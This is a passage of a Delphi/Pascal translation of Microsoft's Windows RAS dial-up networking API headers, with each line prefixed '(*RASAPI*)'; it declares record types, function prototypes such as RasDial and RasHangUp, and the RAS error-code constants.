(*RASAPI*){$IFNDEF WINNT35COMPATIBLE}

(*RASAPI*) {* This field was added between Windows NT 3.51 beta and Windows NT 3.51

(*RASAPI*) ** final, and between Windows 95 M8 beta and Windows 95 final. If you do

(*RASAPI*) ** not require the server address and wish to retrieve PPP IP information

(*RASAPI*) ** from Windows NT 3.5 or early Windows NT 3.51 betas, or on early Windows

(*RASAPI*) ** 95 betas, define WINNT35COMPATIBLE.

(*RASAPI*) **

(*RASAPI*) ** The server IP address is not provided by all PPP implementations,

(*RASAPI*) ** though Windows NT server's do provide it. *}

(*RASAPI*) szServerIpAddress: Array[0..RAS_MaxIpAddress] of WideChar;

(*RASAPI*){$ENDIF}

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasPppIpA = ^TRasPppIpA;

(*RASAPI*) TRasPppIpA = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) dwError : Longint;

(*RASAPI*) szIpAddress : Array[0..RAS_MaxIpAddress] of AnsiChar;

(*RASAPI*)

(*RASAPI*){$IFNDEF WINNT35COMPATIBLE} {* See RASPPPIPW comment. *}

(*RASAPI*) szServerIpAddress: Array[0..RAS_MaxIpAddress] of AnsiChar;

(*RASAPI*){$ENDIF}

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasPppIp = ^TRasPppIp;

(*RASAPI*) TRasPppIp = TRasPppIpA;

(*RASAPI*)

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*){* If using RasDial message notifications, get the notification message code

(*RASAPI*)** by passing this string to the RegisterWindowMessageA() API.

(*RASAPI*)** WM_RASDIALEVENT is used only if a unique message cannot be registered.*}

(*RASAPI*) RASDIALEVENT = 'RasDialEvent';

(*RASAPI*) WM_RASDIALEVENT = $CCCD;

(*RASAPI*)

(*RASAPI*)

(*RASAPI*){* Prototypes for caller's RasDial callback handler. Arguments are the

(*RASAPI*)** message ID (currently always WM_RASDIALEVENT), the current RASCONNSTATE and

(*RASAPI*)** the error that has occurred (or 0 if none). Extended arguments are the

(*RASAPI*)** handle of the RAS connection and an extended error code.

(*RASAPI*)*}

(*RASAPI*){

(*RASAPI*)typedef VOID (WINAPI *RASDIALFUNC)( UINT, RASCONNSTATE, DWORD );

(*RASAPI*)typedef VOID (WINAPI *RASDIALFUNC1)( HRASCONN, UINT, RASCONNSTATE, DWORD, DWORD );

(*RASAPI*)

(*RASAPI*)For Delphi: Just define the callback as

(*RASAPI*)procedure RASCallback(msg: Integer; state: TRasConnState;

(*RASAPI*) dwError: Longint); stdcall;

(*RASAPI*) or

(*RASAPI*)procedure RASCallback1(hConn: THRasConn; msg: Integer;

(*RASAPI*) state: TRasConnState; dwError: Longint; dwEexterror: Longint); stdcall;

(*RASAPI*)}

(*RASAPI*)

(*RASAPI*){* External RAS API function prototypes.

(*RASAPI*)*}

(*RASAPI*){Note: for Delphi the function without 'A' or 'W' is the Ansi one

(*RASAPI*) as on the other Delphi headers}

(*RASAPI*)

(*RASAPI*)function RasDialA(lpRasDialExt: LPRasDialExtensions; lpszPhoneBook: PAnsiChar;

(*RASAPI*) var params: TRasDialParamsA; dwNotifierType: Longint;

(*RASAPI*) lpNotifier: Pointer; var rasconn: THRasConn): Longint; stdcall;

(*RASAPI*)function RasDialW(lpRasDialExt: LPRasDialExtensions; lpszPhoneBook: PWideChar;

(*RASAPI*) var params: TRasDialParamsW; dwNotifierType: Longint;

(*RASAPI*) lpNotifier: Pointer; var rasconn: THRasConn): Longint; stdcall;

(*RASAPI*)function RasDial(lpRasDialExt: LPRasDialExtensions; lpszPhoneBook: PAnsiChar;

(*RASAPI*) var params: TRasDialParams; dwNotifierType: Longint;

(*RASAPI*) lpNotifier: Pointer; var rasconn: THRasConn): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasEnumConnectionsA(RasConnArray: LPRasConnA; var lpcb: Longint;

(*RASAPI*) var lpcConnections: Longint): Longint; stdcall;

(*RASAPI*)function RasEnumConnectionsW(RasConnArray: LPRasConnW; var lpcb: Longint;

(*RASAPI*) var lpcConnections: Longint): Longint; stdcall;

(*RASAPI*)function RasEnumConnections(RasConnArray: LPRasConn; var lpcb: Longint;

(*RASAPI*) var lpcConnections: Longint): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasEnumEntriesA(Reserved: PAnsiChar; lpszPhoneBook: PAnsiChar;

(*RASAPI*) entrynamesArray: LPRasEntryNameA; var lpcb: Longint;

(*RASAPI*) var lpcEntries: Longint): Longint; stdcall;

(*RASAPI*)function RasEnumEntriesW(reserved: PWideChar; lpszPhoneBook: PWideChar;

(*RASAPI*) entrynamesArray: LPRasEntryNameW; var lpcb: Longint;

(*RASAPI*) var lpcEntries: Longint): Longint; stdcall;

(*RASAPI*)function RasEnumEntries(reserved: PAnsiChar; lpszPhoneBook: PAnsiChar;

(*RASAPI*) entrynamesArray: LPRasEntryName; var lpcb: Longint;

(*RASAPI*) var lpcEntries: Longint): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasGetConnectStatusA(hConn: THRasConn; var lpStatus: TRasConnStatusA): Longint; stdcall;

(*RASAPI*)function RasGetConnectStatusW(hConn: THRasConn;var lpStatus: TRasConnStatusW): Longint; stdcall;

(*RASAPI*)function RasGetConnectStatus(hConn: THRasConn;var lpStatus: TRasConnStatus): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasGetErrorStringA(errorValue: Integer;erroString: PAnsiChar;cBufSize: Longint): Longint; stdcall;

(*RASAPI*)function RasGetErrorStringW(errorValue: Integer;erroString: PWideChar;cBufSize: Longint): Longint; stdcall;

(*RASAPI*)function RasGetErrorString(errorValue: Integer;erroString: PAnsiChar;cBufSize: Longint): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasHangUpA(hConn: THRasConn): Longint; stdcall;

(*RASAPI*)function RasHangUpW(hConn: THRasConn): Longint; stdcall;

(*RASAPI*)function RasHangUp(hConn: THRasConn): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasGetProjectionInfoA(hConn: THRasConn; rasproj: TRasProjection;

(*RASAPI*) lpProjection: Pointer; var lpcb: Longint): Longint; stdcall;

(*RASAPI*)function RasGetProjectionInfoW(hConn: THRasConn; rasproj: TRasProjection;

(*RASAPI*) lpProjection: Pointer; var lpcb: Longint): Longint; stdcall;

(*RASAPI*)function RasGetProjectionInfo(hConn: THRasConn; rasproj: TRasProjection;

(*RASAPI*) lpProjection: Pointer; var lpcb: Longint): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasCreatePhonebookEntryA(hwndParentWindow: HWND;lpszPhoneBook: PAnsiChar): Longint; stdcall;

(*RASAPI*)function RasCreatePhonebookEntryW(hwndParentWindow: HWND;lpszPhoneBook: PWideChar): Longint; stdcall;

(*RASAPI*)function RasCreatePhonebookEntry(hwndParentWindow: HWND;lpszPhoneBook: PAnsiChar): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasEditPhonebookEntryA(hwndParentWindow: HWND; lpszPhoneBook: PAnsiChar;

(*RASAPI*) lpszEntryName: PAnsiChar): Longint; stdcall;

(*RASAPI*)function RasEditPhonebookEntryW(hwndParentWindow: HWND; lpszPhoneBook: PWideChar;

(*RASAPI*) lpszEntryName: PWideChar): Longint; stdcall;

(*RASAPI*)function RasEditPhonebookEntry(hwndParentWindow: HWND; lpszPhoneBook: PAnsiChar;

(*RASAPI*) lpszEntryName: PAnsiChar): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasSetEntryDialParamsA(lpszPhoneBook: PAnsiChar; var lpDialParams: TRasDialParamsA;

(*RASAPI*) fRemovePassword: LongBool): Longint; stdcall;

(*RASAPI*)function RasSetEntryDialParamsW(lpszPhoneBook: PWideChar; var lpDialParams: TRasDialParamsW;

(*RASAPI*) fRemovePassword: LongBool): Longint; stdcall;

(*RASAPI*)function RasSetEntryDialParams(lpszPhoneBook: PAnsiChar; var lpDialParams: TRasDialParams;

(*RASAPI*) fRemovePassword: LongBool): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasGetEntryDialParamsA(lpszPhoneBook: PAnsiChar; var lpDialParams: TRasDialParamsA;

(*RASAPI*) var lpfPassword: LongBool): Longint; stdcall;

(*RASAPI*)function RasGetEntryDialParamsW(lpszPhoneBook: PWideChar; var lpDialParams: TRasDialParamsW;

(*RASAPI*) var lpfPassword: LongBool): Longint; stdcall;

(*RASAPI*)function RasGetEntryDialParams(lpszPhoneBook: PAnsiChar; var lpDialParams: TRasDialParams;

(*RASAPI*) var lpfPassword: LongBool): Longint; stdcall;

(*RASAPI*)

(*RASAPI*){**

(*RASAPI*)** raserror.h

(*RASAPI*)** Remote Access external API

(*RASAPI*)** RAS specific error codes *}

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*) RASBASE = 600;

(*RASAPI*) SUCCESS = 0;

(*RASAPI*)

(*RASAPI*) PENDING = (RASBASE+0);

(*RASAPI*) ERROR_INVALID_PORT_HANDLE = (RASBASE+1);

(*RASAPI*) ERROR_PORT_ALREADY_OPEN = (RASBASE+2);

(*RASAPI*) ERROR_BUFFER_TOO_SMALL = (RASBASE+3);

(*RASAPI*) ERROR_WRONG_INFO_SPECIFIED = (RASBASE+4);

(*RASAPI*) ERROR_CANNOT_SET_PORT_INFO = (RASBASE+5);

(*RASAPI*) ERROR_PORT_NOT_CONNECTED = (RASBASE+6);

(*RASAPI*) ERROR_EVENT_INVALID = (RASBASE+7);

(*RASAPI*) ERROR_DEVICE_DOES_NOT_EXIST = (RASBASE+8);

(*RASAPI*) ERROR_DEVICETYPE_DOES_NOT_EXIST = (RASBASE+9);

(*RASAPI*) ERROR_BUFFER_INVALID = (RASBASE+10);

(*RASAPI*) ERROR_ROUTE_NOT_AVAILABLE = (RASBASE+11);

(*RASAPI*) ERROR_ROUTE_NOT_ALLOCATED = (RASBASE+12);

(*RASAPI*) ERROR_INVALID_COMPRESSION_SPECIFIED = (RASBASE+13);

(*RASAPI*) ERROR_OUT_OF_BUFFERS = (RASBASE+14);

(*RASAPI*) ERROR_PORT_NOT_FOUND = (RASBASE+15);

(*RASAPI*) ERROR_ASYNC_REQUEST_PENDING = (RASBASE+16);

(*RASAPI*) ERROR_ALREADY_DISCONNECTING = (RASBASE+17);

(*RASAPI*) ERROR_PORT_NOT_OPEN = (RASBASE+18);

(*RASAPI*) ERROR_PORT_DISCONNECTED = (RASBASE+19);

(*RASAPI*) ERROR_NO_ENDPOINTS = (RASBASE+20);

(*RASAPI*) ERROR_CANNOT_OPEN_PHONEBOOK = (RASBASE+21);

(*RASAPI*) ERROR_CANNOT_LOAD_PHONEBOOK = (RASBASE+22);

(*RASAPI*) ERROR_CANNOT_FIND_PHONEBOOK_ENTRY = (RASBASE+23);

(*RASAPI*) ERROR_CANNOT_WRITE_PHONEBOOK = (RASBASE+24);

(*RASAPI*) ERROR_CORRUPT_PHONEBOOK = (RASBASE+25);

(*RASAPI*) ERROR_CANNOT_LOAD_STRING = (RASBASE+26);

(*RASAPI*) ERROR_KEY_NOT_FOUND = (RASBASE+27);

(*RASAPI*) ERROR_DISCONNECTION = (RASBASE+28);

(*RASAPI*) ERROR_REMOTE_DISCONNECTION = (RASBASE+29);

(*RASAPI*) ERROR_HARDWARE_FAILURE = (RASBASE+30);

(*RASAPI*) ERROR_USER_DISCONNECTION = (RASBASE+31);

(*RASAPI*) ERROR_INVALID_SIZE = (RASBASE+32);

(*RASAPI*) ERROR_PORT_NOT_AVAILABLE = (RASBASE+33);

(*RASAPI*) ERROR_CANNOT_PROJECT_CLIENT = (RASBASE+34);

(*RASAPI*) ERROR_UNKNOWN = (RASBASE+35);

(*RASAPI*) ERROR_WRONG_DEVICE_ATTACHED = (RASBASE+36);

(*RASAPI*) ERROR_BAD_STRING = (RASBASE+37);

(*RASAPI*) ERROR_REQUEST_TIMEOUT = (RASBASE+38);

(*RASAPI*) ERROR_CANNOT_GET_LANA = (RASBASE+39);

(*RASAPI*) ERROR_NETBIOS_ERROR = (RASBASE+40);

(*RASAPI*) ERROR_SERVER_OUT_OF_RESOURCES = (RASBASE+41);

(*RASAPI*) ERROR_NAME_EXISTS_ON_NET = (RASBASE+42);

(*RASAPI*) ERROR_SERVER_GENERAL_NET_FAILURE = (RASBASE+43);

(*RASAPI*) WARNING_MSG_ALIAS_NOT_ADDED = (RASBASE+44);

(*RASAPI*) ERROR_AUTH_INTERNAL = (RASBASE+45);

(*RASAPI*) ERROR_RESTRICTED_LOGON_HOURS = (RASBASE+46);

(*RASAPI*) ERROR_ACCT_DISABLED = (RASBASE+47);

(*RASAPI*) ERROR_PASSWD_EXPIRED = (RASBASE+48);

(*RASAPI*) ERROR_NO_DIALIN_PERMISSION = (RASBASE+49);

(*RASAPI*) ERROR_SERVER_NOT_RESPONDING = (RASBASE+50);

(*RASAPI*) ERROR_FROM_DEVICE = (RASBASE+51);

(*RASAPI*) ERROR_UNRECOGNIZED_RESPONSE = (RASBASE+52);

(*RASAPI*) ERROR_MACRO_NOT_FOUND = (RASBASE+53);

(*RASAPI*) ERROR_MACRO_NOT_DEFINED = (RASBASE+54);

(*RASAPI*) ERROR_MESSAGE_MACRO_NOT_FOUND = (RASBASE+55);

(*RASAPI*) ERROR_DEFAULTOFF_MACRO_NOT_FOUND = (RASBASE+56);

(*RASAPI*) ERROR_FILE_COULD_NOT_BE_OPENED = (RASBASE+57);

(*RASAPI*) ERROR_DEVICENAME_TOO_LONG = (RASBASE+58);

(*RASAPI*) ERROR_DEVICENAME_NOT_FOUND = (RASBASE+59);

(*RASAPI*) ERROR_NO_RESPONSES = (RASBASE+60);

(*RASAPI*) ERROR_NO_COMMAND_FOUND = (RASBASE+61);

(*RASAPI*) ERROR_WRONG_KEY_SPECIFIED = (RASBASE+62);

(*RASAPI*) ERROR_UNKNOWN_DEVICE_TYPE = (RASBASE+63);

(*RASAPI*) ERROR_ALLOCATING_MEMORY = (RASBASE+64);

(*RASAPI*) ERROR_PORT_NOT_CONFIGURED = (RASBASE+65);

(*RASAPI*) ERROR_DEVICE_NOT_READY = (RASBASE+66);

(*RASAPI*) ERROR_READING_INI_FILE = (RASBASE+67);

(*RASAPI*) ERROR_NO_CONNECTION = (RASBASE+68);

(*RASAPI*) ERROR_BAD_USAGE_IN_INI_FILE = (RASBASE+69);

(*RASAPI*) ERROR_READING_SECTIONNAME = (RASBASE+70);

(*RASAPI*) ERROR_READING_DEVICETYPE = (RASBASE+71);

(*RASAPI*) ERROR_READING_DEVICENAME = (RASBASE+72);

(*RASAPI*) ERROR_READING_USAGE = (RASBASE+73);

(*RASAPI*) ERROR_READING_MAXCONNECTBPS = (RASBASE+74);

(*RASAPI*) ERROR_READING_MAXCARRIERBPS = (RASBASE+75);

(*RASAPI*) ERROR_LINE_BUSY = (RASBASE+76);

(*RASAPI*) ERROR_VOICE_ANSWER = (RASBASE+77);

(*RASAPI*) ERROR_NO_ANSWER = (RASBASE+78);

(*RASAPI*) ERROR_NO_CARRIER = (RASBASE+79);

(*RASAPI*) ERROR_NO_DIALTONE = (RASBASE+80);

(*RASAPI*) ERROR_IN_COMMAND = (RASBASE+81);

(*RASAPI*) ERROR_WRITING_SECTIONNAME = (RASBASE+82);

(*RASAPI*) ERROR_WRITING_DEVICETYPE = (RASBASE+83);

(*RASAPI*) ERROR_WRITING_DEVICENAME = (RASBASE+84);

(*RASAPI*) ERROR_WRITING_MAXCONNECTBPS = (RASBASE+85);

(*RASAPI*) ERROR_WRITING_MAXCARRIERBPS = (RASBASE+86);

(*RASAPI*) ERROR_WRITING_USAGE = (RASBASE+87);

(*RASAPI*) ERROR_WRITING_DEFAULTOFF = (RASBASE+88);

(*RASAPI*) ERROR_READING_DEFAULTOFF = (RASBASE+89);

(*RASAPI*) ERROR_EMPTY_INI_FILE = (RASBASE+90);

(*RASAPI*) ERROR_AUTHENTICATION_FAILURE = (RASBASE+91);

(*RASAPI*) ERROR_PORT_OR_DEVICE = (RASBASE+92);

(*RASAPI*) ERROR_NOT_BINARY_MACRO = (RASBASE+93);

(*RASAPI*) ERROR_DCB_NOT_FOUND = (RASBASE+94);

(*RASAPI*) ERROR_STATE_MACHINES_NOT_STARTED = (RASBASE+95);

(*RASAPI*) ERROR_STATE_MACHINES_ALREADY_STARTED = (RASBASE+96);

(*RASAPI*) ERROR_PARTIAL_RESPONSE_LOOPING = (RASBASE+97);

(*RASAPI*) ERROR_UNKNOWN_RESPONSE_KEY = (RASBASE+98);

(*RASAPI*) ERROR_RECV_BUF_FULL = (RASBASE+99);

(*RASAPI*) ERROR_CMD_TOO_LONG = (RASBASE+100);

(*RASAPI*) ERROR_UNSUPPORTED_BPS = (RASBASE+101);

(*RASAPI*) ERROR_UNEXPECTED_RESPONSE = (RASBASE+102);

(*RASAPI*) ERROR_INTERACTIVE_MODE = (RASBASE+103);

(*RASAPI*) ERROR_BAD_CALLBACK_NUMBER = (RASBASE+104);

(*RASAPI*) ERROR_INVALID_AUTH_STATE = (RASBASE+105);

(*RASAPI*) ERROR_WRITING_INITBPS = (RASBASE+106);

(*RASAPI*) ERROR_X25_DIAGNOSTIC = (RASBASE+107);

(*RASAPI*) ERROR_ACCT_EXPIRED = (RASBASE+108);

(*RASAPI*) ERROR_CHANGING_PASSWORD = (RASBASE+109);

(*RASAPI*) ERROR_OVERRUN = (RASBASE+110);

(*RASAPI*) ERROR_RASMAN_CANNOT_INITIALIZE = (RASBASE+111);

(*RASAPI*) ERROR_BIPLEX_PORT_NOT_AVAILABLE = (RASBASE+112);

(*RASAPI*) ERROR_NO_ACTIVE_ISDN_LINES = (RASBASE+113);

(*RASAPI*) ERROR_NO_ISDN_CHANNELS_AVAILABLE = (RASBASE+114);

(*RASAPI*) ERROR_TOO_MANY_LINE_ERRORS = (RASBASE+115);

(*RASAPI*) ERROR_IP_CONFIGURATION = (RASBASE+116);

(*RASAPI*) ERROR_NO_IP_ADDRESSES = (RASBASE+117);

(*RASAPI*) ERROR_PPP_TIMEOUT = (RASBASE+118);

(*RASAPI*) ERROR_PPP_REMOTE_TERMINATED = (RASBASE+119);

(*RASAPI*) ERROR_PPP_NO_PROTOCOLS_CONFIGURED = (RASBASE+120);

(*RASAPI*) ERROR_PPP_NO_RESPONSE = (RASBASE+121);

(*RASAPI*) ERROR_PPP_INVALID_PACKET = (RASBASE+122);

(*RASAPI*) ERROR_PHONE_NUMBER_TOO_LONG = (RASBASE+123);

(*RASAPI*) ERROR_IPXCP_NO_DIALOUT_CONFIGURED = (RASBASE+124);

(*RASAPI*) ERROR_IPXCP_NO_DIALIN_CONFIGURED = (RASBASE+125);

(*RASAPI*) ERROR_IPXCP_DIALOUT_ALREADY_ACTIVE = (RASBASE+126);

(*RASAPI*) ERROR_ACCESSING_TCPCFGDLL = (RASBASE+127);

(*RASAPI*) ERROR_NO_IP_RAS_ADAPTER = (RASBASE+128);

(*RASAPI*) ERROR_SLIP_REQUIRES_IP = (RASBASE+129);

(*RASAPI*) ERROR_PROJECTION_NOT_COMPLETE = (RASBASE+130);

(*RASAPI*) ERROR_PROTOCOL_NOT_CONFIGURED = (RASBASE+131);

(*RASAPI*) ERROR_PPP_NOT_CONVERGING = (RASBASE+132);

(*RASAPI*) ERROR_PPP_CP_REJECTED = (RASBASE+133);

(*RASAPI*) ERROR_PPP_LCP_TERMINATED = (RASBASE+134);

(*RASAPI*) ERROR_PPP_REQUIRED_ADDRESS_REJECTED = (RASBASE+135);

(*RASAPI*) ERROR_PPP_NCP_TERMINATED = (RASBASE+136);

(*RASAPI*) ERROR_PPP_LOOPBACK_DETECTED = (RASBASE+137);

(*RASAPI*) ERROR_PPP_NO_ADDRESS_ASSIGNED = (RASBASE+138);

(*RASAPI*) ERROR_CANNOT_USE_LOGON_CREDENTIALS = (RASBASE+139);

(*RASAPI*) ERROR_TAPI_CONFIGURATION = (RASBASE+140);

(*RASAPI*) ERROR_NO_LOCAL_ENCRYPTION = (RASBASE+141);

(*RASAPI*) ERROR_NO_REMOTE_ENCRYPTION = (RASBASE+142);

(*RASAPI*) ERROR_REMOTE_REQUIRES_ENCRYPTION = (RASBASE+143);

(*RASAPI*) ERROR_IPXCP_NET_NUMBER_CONFLICT = (RASBASE+144);

(*RASAPI*) ERROR_INVALID_SMM = (RASBASE+145);

(*RASAPI*) ERROR_SMM_UNINITIALIZED = (RASBASE+146);

(*RASAPI*) ERROR_NO_MAC_FOR_PORT = (RASBASE+147);

(*RASAPI*) ERROR_SMM_TIMEOUT = (RASBASE+148);

(*RASAPI*) ERROR_BAD_PHONE_NUMBER = (RASBASE+149);

(*RASAPI*) ERROR_WRONG_MODULE = (RASBASE+150);

(*RASAPI*)

(*RASAPI*) RASBASEEND = (RASBASE+150);

(*RASAPI*)

(*RASAPI*){* Copyright (c) 1995, Microsoft Corporation, all rights reserved

(*RASAPI*)**

(*RASAPI*)** rnaph.h (to be merged with ras.h)

(*RASAPI*)**

(*RASAPI*)** Remote Access external API

(*RASAPI*)** Public header for external API clients

(*RASAPI*)**}

(*RASAPI*)

(*RASAPI*){*

(*RASAPI*) Original conversion by Gideon le Grange <legrang@adept.co.za>

(*RASAPI*) Merged with ras.pas by Davide Moretti <dmoretti@iper.net>

(*RASAPI*)*}

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*) RAS_MaxAreaCode = 10;

(*RASAPI*) RAS_MaxPadType = 32;

(*RASAPI*) RAS_MaxX25Address = 200;

(*RASAPI*) RAS_MaxFacilities = 200;

(*RASAPI*) RAS_MaxUserData = 200;

(*RASAPI*)

(*RASAPI*)

(*RASAPI*)type

(*RASAPI*)(* Describes a RAS IP Address *)

(*RASAPI*) LPRasIPAddr = ^TRasIPAddr;

(*RASAPI*) TRasIPAddr = record

(*RASAPI*) A, B, C, D: Byte;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*)(* Describes a RAS phonebook entry *)

(*RASAPI*) LPRasEntryA = ^TRasEntryA;

(*RASAPI*) TRasEntryA = record

(*RASAPI*) dwSize,

(*RASAPI*) dwfOptions,

(*RASAPI*) dwCountryID,

(*RASAPI*) dwCountryCode : Longint;

(*RASAPI*) szAreaCode : array[0.. RAS_MaxAreaCode] of AnsiChar;

(*RASAPI*) szLocalPhoneNumber : array[0..RAS_MaxPhoneNumber] of AnsiChar;

(*RASAPI*) dwAlternatesOffset : Longint;

(*RASAPI*) ipaddr,

(*RASAPI*) ipaddrDns,

(*RASAPI*) ipaddrDnsAlt,

(*RASAPI*) ipaddrWins,

(*RASAPI*) ipaddrWinsAlt : TRasIPAddr;

(*RASAPI*) dwFrameSize,

(*RASAPI*) dwfNetProtocols,

(*RASAPI*) dwFramingProtocol : Longint;

(*RASAPI*) szScript : Array[0..MAX_PATH - 1] of AnsiChar;

(*RASAPI*) szAutodialDll : Array [0..MAX_PATH - 1] of AnsiChar;

(*RASAPI*) szAutodialFunc : Array [0..MAX_PATH - 1] of AnsiChar;

(*RASAPI*) szDeviceType : Array [0..RAS_MaxDeviceType] of AnsiChar;

(*RASAPI*) szDeviceName : Array [0..RAS_MaxDeviceName] of AnsiChar;

(*RASAPI*) szX25PadType : Array [0..RAS_MaxPadType] of AnsiChar;

(*RASAPI*) szX25Address : Array [0..RAS_MaxX25Address] of AnsiChar;

(*RASAPI*) szX25Facilities : Array [0..RAS_MaxFacilities] of AnsiChar;

(*RASAPI*) szX25UserData : Array [0..RAS_MaxUserData] of AnsiChar;

(*RASAPI*) dwChannels,

(*RASAPI*) dwReserved1,

(*RASAPI*) dwReserved2 : Longint;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasEntryW = ^TRasEntryW;

(*RASAPI*) TRasEntryW = record

(*RASAPI*) dwSize,

(*RASAPI*) dwfOptions,

(*RASAPI*) dwCountryID,

(*RASAPI*) dwCountryCode : Longint;

(*RASAPI*) szAreaCode : array[0.. RAS_MaxAreaCode] of WideChar;

(*RASAPI*) szLocalPhoneNumber : array[0..RAS_MaxPhoneNumber] of WideChar;

(*RASAPI*) dwAlternatesOffset : Longint;

(*RASAPI*) ipaddr,

(*RASAPI*) ipaddrDns,

(*RASAPI*) ipaddrDnsAlt,

(*RASAPI*) ipaddrWins,

(*RASAPI*) ipaddrWinsAlt : TRasIPAddr;

(*RASAPI*) dwFrameSize,

(*RASAPI*) dwfNetProtocols,

(*RASAPI*) dwFramingProtocol : Longint;

(*RASAPI*) szScript : Array[0..MAX_PATH - 1] of WideChar;

(*RASAPI*) szAutodialDll : Array [0..MAX_PATH - 1] of WideChar;

(*RASAPI*) szAutodialFunc : Array [0..MAX_PATH - 1] of WideChar;

(*RASAPI*) szDeviceType : Array [0..RAS_MaxDeviceType] of WideChar;

(*RASAPI*) szDeviceName : Array [0..RAS_MaxDeviceName] of WideChar;

(*RASAPI*) szX25PadType : Array [0..RAS_MaxPadType] of WideChar;

(*RASAPI*) szX25Address : Array [0..RAS_MaxX25Address] of WideChar;

(*RASAPI*) szX25Facilities : Array [0..RAS_MaxFacilities] of WideChar;

(*RASAPI*) szX25UserData : Array [0..RAS_MaxUserData] of WideChar;

(*RASAPI*) dwChannels,

(*RASAPI*) dwReserved1,

(*RASAPI*) dwReserved2 : Longint;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasEntry = ^TRasEntry;

(*RASAPI*) TRasEntry = TRasEntryA;

(*RASAPI*)

(*RASAPI*)(* Describes Country Information *)

(*RASAPI*) LPRasCtryInfo = ^TRasCtryInfo;

(*RASAPI*) TRasCtryInfo = record

(*RASAPI*) dwSize,

(*RASAPI*) dwCountryID,

(*RASAPI*) dwNextCountryID,

(*RASAPI*) dwCountryCode,

(*RASAPI*) dwCountryNameOffset : Longint;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*)(* Describes RAS Device Information *)

(*RASAPI*) LPRasDevInfoA = ^TRasDevInfoA;

(*RASAPI*) TRasDevInfoA = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) szDeviceType : Array[0..RAS_MaxDeviceType] of AnsiChar;

(*RASAPI*) szDeviceName : Array[0..RAS_MaxDeviceName] of AnsiChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasDevInfoW = ^TRasDevInfoW;

(*RASAPI*) TRasDevInfoW = record

(*RASAPI*) dwSize : Longint;

(*RASAPI*) szDeviceType : Array[0..RAS_MaxDeviceType] of WideChar;

(*RASAPI*) szDeviceName : Array[0..RAS_MaxDeviceName] of WideChar;

(*RASAPI*) end;

(*RASAPI*)

(*RASAPI*) LPRasDevInfo = ^TRasDevInfo;

(*RASAPI*) TRasDevInfo = TRasDevInfoA;

(*RASAPI*)

(*RASAPI*)const

(*RASAPI*)(* TRasEntry 'dwfOptions' bit flags. *)

(*RASAPI*) RASEO_UseCountryAndAreaCodes = $00000001;

(*RASAPI*) RASEO_SpecificIpAddr = $00000002;

(*RASAPI*) RASEO_SpecificNameServers = $00000004;

(*RASAPI*) RASEO_IpHeaderCompression = $00000008;

(*RASAPI*) RASEO_RemoteDefaultGateway = $00000010;

(*RASAPI*) RASEO_DisableLcpExtensions = $00000020;

(*RASAPI*) RASEO_TerminalBeforeDial = $00000040;

(*RASAPI*) RASEO_TerminalAfterDial = $00000080;

(*RASAPI*) RASEO_ModemLights = $00000100;

(*RASAPI*) RASEO_SwCompression = $00000200;

(*RASAPI*) RASEO_RequireEncryptedPw = $00000400;

(*RASAPI*) RASEO_RequireMsEncryptedPw = $00000800;

(*RASAPI*) RASEO_RequireDataEncryption = $00001000;

(*RASAPI*) RASEO_NetworkLogon = $00002000;

(*RASAPI*) RASEO_UseLogonCredentials = $00004000;

(*RASAPI*) RASEO_PromoteAlternates = $00008000;

(*RASAPI*)

(*RASAPI*)(* TRasEntry 'dwfNetProtocols' bit flags. (session negotiated protocols) *)

(*RASAPI*) RASNP_Netbeui = $00000001; // Negotiate NetBEUI

(*RASAPI*) RASNP_Ipx = $00000002; // Negotiate IPX

(*RASAPI*) RASNP_Ip = $00000004; // Negotiate TCP/IP

(*RASAPI*)

(*RASAPI*)(* TRasEntry 'dwFramingProtocols' (framing protocols used by the server) *)

(*RASAPI*) RASFP_Ppp = $00000001; // Point-to-Point Protocol (PPP)

(*RASAPI*) RASFP_Slip = $00000002; // Serial Line Internet Protocol (SLIP)

(*RASAPI*) RASFP_Ras = $00000004; // Microsoft proprietary protocol

(*RASAPI*)

(*RASAPI*)(* TRasEntry 'szDeviceType' strings *)

(*RASAPI*) RASDT_Modem = 'modem'; // Modem

(*RASAPI*) RASDT_Isdn = 'isdn'; // ISDN

(*RASAPI*) RASDT_X25 = 'x25'; // X.25

(*RASAPI*)

(*RASAPI*)(* RAS functions found in RNAPH.DLL *)

(*RASAPI*)function RasValidateEntryNameA(lpszPhonebook,szEntry: PAnsiChar): Longint; stdcall;

(*RASAPI*)function RasValidateEntryNameW(lpszPhonebook,szEntry: PWideChar): Longint; stdcall;

(*RASAPI*)function RasValidateEntryName(lpszPhonebook,szEntry: PAnsiChar): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasRenameEntryA(lpszPhonebook,szEntryOld,szEntryNew: PAnsiChar): Longint; stdcall;

(*RASAPI*)function RasRenameEntryW(lpszPhonebook,szEntryOld,szEntryNew: PWideChar): Longint; stdcall;

(*RASAPI*)function RasRenameEntry(lpszPhonebook,szEntryOld,szEntryNew: PAnsiChar): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasDeleteEntryA(lpszPhonebook,szEntry: PAnsiChar): Longint; stdcall;

(*RASAPI*)function RasDeleteEntryW(lpszPhonebook,szEntry: PWideChar): Longint; stdcall;

(*RASAPI*)function RasDeleteEntry(lpszPhonebook,szEntry: PAnsiChar): Longint; stdcall;

(*RASAPI*)

